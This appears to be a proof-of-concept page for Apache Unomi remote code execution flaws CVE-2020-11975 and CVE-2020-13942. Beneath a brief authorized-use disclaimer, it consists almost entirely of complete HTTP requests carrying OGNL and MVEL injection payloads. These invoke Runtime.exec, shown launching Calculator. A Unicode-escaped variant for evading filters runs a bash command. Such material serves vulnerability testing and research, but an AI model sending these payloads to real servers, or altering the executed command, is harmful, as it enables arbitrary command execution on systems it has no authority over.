Disclaimer

The vulnerability detection methods, files, and other content provided here are strictly limited to use by security professionals under legal authorization, for the purpose of testing the security of authorized servers. Security professionals must comply with legal regulations and are prohibited from conducting any vulnerability testing without authorization.

Introduction

Reference Links

CVE-2020-11975

PoC: CVE-2020-11975 OGNL Injection

(This PoC only supports testing versions <= 1.5.0. It is recommended to use the two PoCs for CVE-2020-13942 below, which support testing versions <= 1.5.1)

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

CVE-2020-13942

PoC: HTTP request with OGNL injection

The OGNL expression in the following (PoC) HTTP request obtains Runtime and executes an OS command using the Java reflection API.

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

Variation: Unicode encoding can be used to convert characters in the payload to \uXXXX format. It also works successfully.

// e.g.
// Replaced e with \u0065
// Replaced . with \u002e
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))

PoC: HTTP request with MVEL injection

The MVEL expression in the following (PoC) HTTP request creates a Runtime object and runs an OS command.

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
    "filters": [
        {
            "id": "myfilter1_anystr",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test-demo-session-id_anystr"
}